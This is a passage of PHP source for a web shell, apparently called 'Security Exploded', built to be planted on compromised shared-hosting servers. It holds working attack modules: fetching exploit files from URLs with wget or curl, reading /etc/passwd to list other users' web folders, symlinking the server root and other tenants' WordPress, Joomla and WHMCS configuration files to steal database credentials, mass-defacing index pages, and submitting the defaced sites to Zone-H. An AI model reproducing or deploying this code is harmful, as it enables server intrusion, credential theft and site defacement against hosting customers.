<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?=$pwd; ?>" /></td></tr>
</tr></table></form><table class="tabnet" style="width:320px;padding:0 1px;"><tr><th colspan="2"><b>Upload From URL</b></th></tr><tr><td colspan="2"><form method="post" style="margin:0;padding:0;" action="?y=<?=$pwd; ?>&amp;x=upload">
<table><tr><td>Url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?=$pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan"><option value="wwget">Wget</option><option value="wlynx">Lynx</option><option value="wfread">Fread</option><option value="wfetch">Fetch</option><option value="wlinks">Links</option><option value="wget">Get</option><option value="wcurl">Curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr></table><div style="text-align:center;margin:2px;"><?=$msg; ?></div>
<?php }
////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){ @ini_set('output_buffering',0); 
echo "
<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>

	<tr>
	<td valign=top bgcolor=#151515 class=style2 style=width: 139px>
	<center><b><font size=5 style=italic color=#00ff00>Jumping</font></b></center></td></tr></table>
";
?>
    <form action="?y=<?=$pwd; ?>&x=jumping" method="post">
	<?php
	echo "<table class=\"cmdbox\"><tr><td colspan=\"2\">"; 
($sm = ini_get('safe_mode') == 0) ? 
$sm = 'off': die("<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink>&nbsp;: &nbsp;&nbsp;Safe_mode = On </b></td></tr></table>");
 
set_time_limit(0);
echo "<table class=\"cmdbox\"><tr><td colspan=\"2\">";  
@$passwd = fopen('/etc/passwd','r'); 
if (!$passwd) { die ("<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink>&nbsp; : &nbsp;&nbsp; I Can't Read [ /etc/passwd ]</b></td></tr></table>
<br><br><br><br><center><div class=\"info\"><b></div> 
<br><br><div class=\"jaya\"> &copy; ".date('Y',time())." Security Exploded </b></div></center>"); }
$pub = array(); 
$users = array(); 
$conf = array(); 
$i = 0; 

while(!feof($passwd)){ 
$str = fgets($passwd); 
if ($i > 100){ $pos = strpos($str,':'); 
$username = substr($str,0,$pos); 
$dirz = '/home/'.$username.'/public_html/'; 
if (($username != '')){ if (is_readable($dirz)){ array_push($users,$username); 
array_push($pub,$dirz); } } } $i++; } 
foreach ($users as $user){ 
echo '
<table><tr><td>[Found !]</td>
	<td><a href="?y=/home/'.$user.'/public_html">/home/'.$user.'/public_html/</a><td></tr>'; } 
 echo "</table>";
 } 


/////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{	@ini_set('output_buffering',0); 
echo "
<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>

	<tr>
	<td valign=top bgcolor=#151515 class=style2 style=width: 139px>
	<center><b><font size=5 style=italic color=#00ff00>Multi Tool Symlink</font></b></center></td></tr></table>
";
?>
<form action="?y=<?=$pwd; ?>&amp;x=symlink" method="post">
<form method='post'><center><table class='tabnet'><tr><th colspan='5'><b>Multi Tool Symlink</b></th></tr><tr><th><b>Manual Symlink</b></th><th><b>Auto Symlink</b></th><th><b>Domain Viewer</b></th></tr><tr><td><input class='inputzbut' type='submit'name='symlinkr' value="Manual Symlink" /></td><td><input class='inputzbut' type='submit'name='symlinks' value="Auto Symlink" /></td><td><input class='inputzbut' type='submit' name='domain' value="Domain Viewer" /></td></tr></table></center></form><br><hr><br><br>
<?php 

#==================[ Multi Tool Symlink ]==================#

if(isset($_POST['domain']))
{
   ?>
    <form action="?y=<?=$pwd; ?>&x=dv" method="post">
	<center><h2>[ Domain Viewer by ]<br>Notes: If Blank(No Domain) That Mean Not Work Use Domain Viewer, You Can Use Auto Symlink Server</center><br><br>
	<?php
	function openBaseDir()
{
$openBaseDir = ini_get("open_basedir");
if (!$openBaseDir)
    {
        $openBaseDir = '<font color="green">OFF</font>';
    }
    else 
    {
        $openBaseDir = '<font color="red">ON</font>';
    }    
    return $openBaseDir;
}


echo '
    <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
    <td height="100" align="left" class="td1">';
    $pg = basename(__FILE__);
    $safe_mode = @ini_get('safe_mode');
    $dir = @getcwd();
	////////////////////////////////////////////////////
	// LET'S PLAY ~
	##.htaccess
@mkdir('explodedsym',0777);
@symlink("/","explodedsym/root");
$htaccss = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
 
file_put_contents("explodedsym/.htaccess",$htaccss);
$etc = file_get_contents("/etc/passwd");
$etcz = explode("
",$etc);


##Symlink to the ROOT :p
foreach($etcz as $etz){
$etcc = explode(":",$etz);
error_reporting(0);

$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);

symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"explodedsym/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"explodedsym/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"explodedsym/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"explodedsym/".$etcc[0].'-WordPress.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"explodedsym/".$etcc[0].'-PhpBB.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"explodedsym/".$etcc[0].'-vBulletin.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"explodedsym/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"explodedsym/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"explodedsym/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"explodedsym/".$etcc[0].'-Joomla.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"explodedsym/".$etcc[0].'-IPB.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"explodedsym/".$etcc[0].'-MyBB.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"explodedsym/".$etcc[0].'-SMF.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"explodedsym/".$etcc[0].'-Drupal.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"explodedsym/".$etcc[0].'-e107.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"explodedsym/".$etcc[0].'-Seditio.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"explodedsym/".$etcc[0].'-osCommerce.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"explodedsym/".$etcc[0].'-WHMCS.txt');
}
#############################
	if(is_readable("/var/named")){
	echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
	echo'<tr><td><center><b>SITE</b></center></td><td>
	<center><b>USER</b></center></td>
	<td></center><b>SYMLINK</b></center></td>';
	$list = scandir("/var/named");
	foreach($list as $domain){
	if(strpos($domain,".db")){
	$i += 1;
	$domain = str_replace('.db','',$domain);
	$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));

	echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
	<td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
	<td class='td1'><center><a href='explodedsym/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
		}
	}
	echo "<center>Total Domains Found: ".$i."</center><br />";
	}else{ 
	echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }

break;

##################################
error_reporting(0);
$etc = file_get_contents("/etc/passwd");
$etcz = explode("
",$etc);
if(is_readable("/etc/passwd")){

echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';

$list = scandir("/var/named");

foreach($etcz as $etz){
$etcc = explode(":",$etz);

foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
if($owner['name'] == $etcc[0])
{
$i += 1;
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
<td class='td1'><font color='red'>".$owner['name']."</font></center></td>
<td class='td1'><center><a href='explodedsym/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}}}}
echo "<center>Total Domains Found: ".$i."</center><br />";}

break;
###############################
if(is_readable("/etc/named.conf")){
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
$named = file_get_contents("/etc/named.conf");
preg_match_all('%zone \"(.*)\" {%',$named,$domains);
foreach($domains[1] as $domain){
$domain = trim($domain);
$i += 1;
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='explodedsym/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}
echo "<center>Total Domains Found: ".$i."</center><br />";

} else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>"; }

break;
############################
if(is_readable("/etc/valiases")){
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td>
<center><b>USER</b></center></td><td></center>
<b>SYMLINK</b></center></td>';
$list = scandir("/etc/valiases");
foreach($list as $domain){
$i += 1;
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
<center><td class='td1'><font color='red'>".$owner['name']."</font></center></td>
<td class='td1'><center><a href='explodedsym/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
}
echo "<center>Total Domains Found: ".$i."</center><br />";
} else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>"; }

break;
}

##################################

#==================[ Multi Tool Symlink ]==================#

if(isset($_POST['symlinkr']))
{
@set_time_limit(0);
@mkdir('sym',0777);
error_reporting(0);
$htaccess  = "Options all 
 DirectoryIndex gaza.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$op =@fopen ('sym/.htaccess','w');
fwrite($op ,$htaccess);
echo '<center><b>[ Manual Symlink ]</b><br><br>
<form method="post"><table class="tabnet"><th colspan="5">Manual Symlink</th><tr>
<td>File Path &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:</td><td><input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/></td></tr>
<tr><td>Symlink Name :</td><td><input class="inputz" type="text" name="symfile" value="config.txt" size="60"/></td></tr>
<tr><td></td><td><input class="inputzbut" type="submit" value="Symlink" name="symlink" /></td></tr></table></form></center>';
$target = $_POST['file']; $symfile = $_POST['symfile']; $symlink = $_POST['symlink'];
if ($symlink) {@symlink("$target","sym/$symfile");
echo '<br><center><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a><center>';}}

#==================[ Multi Tool Symlink ]==================#
  
if(isset($_POST['symlinks']))
{
@set_time_limit(0);
echo "<center><h1>[ Auto Symlink Server]</h1></center><br><center><div class=content>";
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("explodedsyms",0777);
@chdir("explodedsyms");
@exe("ln -s / root");
$file3 = 'Options all
DirectoryIndex Sux.html
AddType text/plain .php 
AddHandler server-parsed .php 
AddType text/plain .html 
AddHandler txt .html 
Require None 
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<table align=center border=1 style='width:60%;border-color:#333333;'>
<tr>
<td align=center><font size=3>S. No.</font></td>
<td align=center><font size=3>Domains</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td>
</tr>";
$dcount = 1;

foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=3>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='/k2/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>"; 
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("explodedsyms",0777);
@chdir("explodedsyms");
exe("ln -s / root");
$file3 = 'Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);
 @fclose($fp3);
 echo "<br><br><center><h2>Symlink Server !</h2></center><br><br>
 <table align=center border=1><tr>
 <td align=center><font size=4>S. No.</font></td>
 <td align=center><font size=4>Users</font></td>
 <td align=center><font size=4>Symlink</font></td></tr>";
 $dcount = 1;
 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
 while(!feof($file)){
 $s = fgets($file);
 $matches = array();
 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
 $matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=3>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}fclose($file);
 echo "</table>";}else{if($os != "Windows"){@mkdir("explodedsyms",0777);@chdir("explodedsyms");@exe("ln -s / root");$file3 = 'Options all 
 DirectoryIndex Sux.html
 AddType text/plain .php
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
 echo "<center>
 <table align=center border=1><tr>
 <td align=center><font size=4>Id</font></td>
 <td align=center><font size=4>Users</font></td>
 <td align=center><font size=4>Symlink</font></td></tr>";
 $temp = "";$val1 = 0;$val2 = 1000;
 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
 if ($uid)$temp .= join(':',$uid)."
";}
 echo '<br/>';$temp = trim($temp);$file5 = 
 fopen("test.txt","w");
 fputs($file5,$temp);
 fclose($file5);$dcount = 1;$file = 
 fopen("test.txt", "r") or exit("Unable to open file!");
 while(!feof($file)){$s = fgets($file);$matches = array();
 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=3>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}
 fclose($file);
 echo "</table></div></center>";unlink("test.txt");
 } else 
 echo "<center><font size=4>Cannot create Symlink</font></center>";
 }
 }
 }
}
/////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////


elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "
<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>

	<tr>
	<td valign=top bgcolor=#151515 class=style2 style=width: 139px>
	<center><b><font size=5 style=italic color=#00ff00>Mass Deface</font></b></center></td></tr></table>
";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >

<th colspan='5'><b>Folder Mass Deface</b></th>
<form hethot='post'>
<tr>
	<tr>
	<td>&nbsp;&nbsp;Folder</td><td><input class ='inputz' style='background:black;' type='text' name='path' size='60' value="<?=getcwd();?>"></td>
	</tr><br>
	<tr>
	<td>File Name</td><td><input class ='inputz' style='background:black;' type='text' name='file' size='60' value="index.html"></td>
	</tr>
</tr>
<table class="tabnet" >
<th colspan='5'><b>File Code Mass Deface</b></th>
<tr><td></td><td>
<table><textarea align="center" style='background:black;' name='index' rows='15' cols='80'><?=$script_deface; ?></textarea><br>
<center><input class='inputzbut' type='submit' value="&nbsp;&nbsp;Mass Deface&nbsp;&nbsp;"></center></form></table></table></table></table>
<br></form>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
/////////////
/////////////////////////////////////////////////////////////////

elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
{	@ini_set('output_buffering',0); 
echo "
<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>

	<tr>
	<td valign=top bgcolor=#151515 class=style2 style=width: 139px>
	<center><b><font size=5 style=italic color=#00ff00>Zone-H Submiter</font></b></center></td></tr></table>
";
?>
<form action="?y=<?=$pwd; ?>&amp;x=zone" method="post">

<br><br><center>
<!-- Zone-H -->
<form action="" method='POST'><table><table class='tabnet'>
<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><b>Zone-H Defacer</b></th></tr></td></tr><td height='45' colspan='2'><form method="post">
<input type="text" class="inputz" name="defacer" style="background:black;" placeholder="Name Of Defacer" />
<select name="hackmode" class="inputz" >
<option >---------------------------Select One---------------------------</option>
<option value="1">Known Vulnerability (i.e. Unpatched System)</option>
<option value="2" >Undisclosed (new) Vulnerability</option>
<option value="3" >Configuration / Admin Mistake</option>
<option value="4" >Brute Force Attack</option>
<option value="5" >Social Engineering</option>
<option value="6" >Web Server Intrusion</option>
<option value="7" >Web Server External Module Intrusion</option>
<option value="8" >Mail Server Intrusion</option>
<option value="9" >FTP Server Intrusion</option>
<option value="10" >SSH Server Intrusion</option>
<option value="11" >Telnet Server Intrusion</option>
<option value="12" >RPC Server Intrusion</option>
<option value="13" >Shares Misconfiguration</option>
<option value="14" >Other Server Intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application Bug</option>
<option value="19" >Remote Administrative Panel Access Bruteforcing</option>
<option value="20" >Remote Administrative Panel Access Password Guessing</option>
<option value="21" >Remote Administrative Panel Access Social Engineering</option>
<option value="22" >Attack Against Administrator(Password StealingSniffing)</option>
<option value="23" >Access Credentials Through Man In the Middle Attack</option>
<option value="24" >Remote Service Password Guessing</option>
<option value="25" >Remote Service Password Bruteforce</option>
<option value="26" >Rerouting After Attacking The Firewall</option>
<option value="27" >Rerouting After Attacking The Router</option>
<option value="28" >DNS Attack Through Social Engineering</option>
<option value="29" >DNS Attack Through Cache Poisoning</option>
<option value="30" >Not available</option>
</select>

<select name="reason" class="inputz" >
<option >---------------Select One-----------------</option>
<option value="1" >Heh...Just For Fun!</option>
<option value="2" >Revenge Against That Website</option>
<option value="3" >Political Reasons</option>
<option value="4" >As a Challenge</option>
<option value="5" >I Just Want To Be The Best Defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not Available</option>
</select>
<input type="hidden" name="action" value="zone"><tr><td>
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains" placeholder="List Of Domains"></textarea>
<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>

<?php
function ZoneH($url, $hacker, $hackmode,$reson, $site ) 
{ 
    $k = curl_init(); 
    curl_setopt($k, CURLOPT_URL, $url); 
    curl_setopt($k,CURLOPT_POST,true); 
    curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson); 
    curl_setopt($k,CURLOPT_FOLLOWLOCATION, true); 
    curl_setopt($k, CURLOPT_RETURNTRANSFER, true); 
    $kubra = curl_exec($k); 
    curl_close($k); 
    return $kubra; 
} 
{ 
                ob_start(); 
                $sub = @get_loaded_extensions(); 
                if(!in_array("curl", $sub)) 
                { 
                    die('<center><b>[-] Curl Is Not Supported !![-]</b></center>'); 
                } 
             
                $hacker = $_POST['defacer']; 
                $method = $_POST['hackmode']; 
                $neden = $_POST['reason']; 
                $site = $_POST['domain']; 
                if (empty($hacker)) 
                { die ("<center><b> </b></center>"); } 
                elseif($method == "--------SELECT--------")  
                { die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>"); } 
                elseif($neden == "--------SELECT--------")  
                {  die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>"); } 
                elseif(empty($site))  
                { die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>"); } 
                $i = 0; 
                $sites = explode("
", $site); 
                while($i < count($sites))  
                { 
                    if(substr($sites[$i], 0, 4) != "http")  
                    { 
                        $sites[$i] = "http://".$sites[$i]; 
                    } 
                    ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]); 
                     echo "$sites[$i]"; 
                    ++$i; 
                } 

            } 

	
}
/////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'grabc')){ @ini_set('output_buffering',0); 
echo "
<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>

	<tr>
	<td valign=top bgcolor=#151515 class=style2 style=width: 139px>
	<center><b><font size=5 style=italic color=#00ff00>Config Grabber</font></b></center></td></tr></table>
";
?>
    <form action="?y=<?=$pwd; ?>&x=grabc" method="post">

<?php
echo "
<form method='POST'>
</head>
<style>
textarea {
resize:none;
color: #000000 ;
background-color:#000000;  
font-size:8pt; color:#ffffff;

width:550px;
height:400px;
}
input {
color: #000000;
border:1px dotted white;
}
</style>";
echo "<center>";?></center><br><center><?php if (empty($_POST['config'])) { ?><br><form method="POST"><table class="tabnet" >
<th colspan='5'><b>Config Grabber</b></th></center>
<tr><td></td><td><table><textarea name="passwd" class='area' rows='15' cols='60'><?=file_get_contents('/etc/passwd'); ?></textarea><br>
<center><input name="config" style="width:550px;" class='inputzbut' value="&nbsp;&nbsp;Grab!&nbsp;&nbsp;" type="submit"></form></center></table></table>
<?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('explodedcgrab', 0755);@chdir('explodedcgrab');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
$passwd=explode("
",$passwd);
echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";
foreach($passwd as $pwd){
$pawd=explode(":",$pwd);$user =$pawd[0];
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
